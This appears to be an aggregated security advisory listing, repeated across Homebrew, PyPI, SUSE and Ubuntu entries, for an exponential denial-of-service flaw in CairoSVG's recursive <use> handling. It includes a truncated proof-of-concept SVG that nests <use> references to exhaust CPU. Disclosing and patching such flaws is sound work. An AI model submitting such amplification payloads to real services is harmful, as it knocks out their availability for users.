Affected: Homebrew: standardebooks
## Summary
Kozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive `<use>` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input.
## Severity
High — CVSS 3.1: 7.5 Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
## Vulnerable Code
File: `cairosvg/defs.py` (line ~335), function `use()`
The `use()` function recursively processes `<use>` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.
## Impact
- 1,411-byte SVG payload pins CPU at 100% indefinitely - Memory stays flat at ~43MB — no OOM kill, process never terminates - Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able - Amplification factor: O(10^N) rendering calls from O(N) input
## Proof of Concept
Save as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`:
```xml <?xml version="1.0"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <g id="a"><rect width="1" height="1"/></g> <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g> <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use…
CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.
Affected: PyPI: CairoSVG
## Summary
Kozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive `<use>` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input.
## Severity
High — CVSS 3.1: 7.5 Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
## Vulnerable Code
File: `cairosvg/defs.py` (line ~335), function `use()`
The `use()` function recursively processes `<use>` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.
## Impact
- 1,411-byte SVG payload pins CPU at 100% indefinitely - Memory stays flat at ~43MB — no OOM kill, process never terminates - Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able - Amplification factor: O(10^N) rendering calls from O(N) input
## Proof of Concept
Save as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`:
```xml <?xml version="1.0"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <g id="a"><rect width="1" height="1"/></g> <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g> <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use…
python311-CairoSVG-2.9.0-1.1 on GA media
Affected: PyPI: cairosvg
CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.
Security update for python-CairoSVG
Affected: Ubuntu:16.04:LTS: cairosvg, Ubuntu:18.04:LTS: cairosvg, Ubuntu:20.04:LTS: cairosvg, Ubuntu:22.04:LTS: cairosvg, Ubuntu:24.04:LTS: cairosvg, Ubuntu:25.10: cairosvg, Ubuntu:26.04:LTS: cairosvg
CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.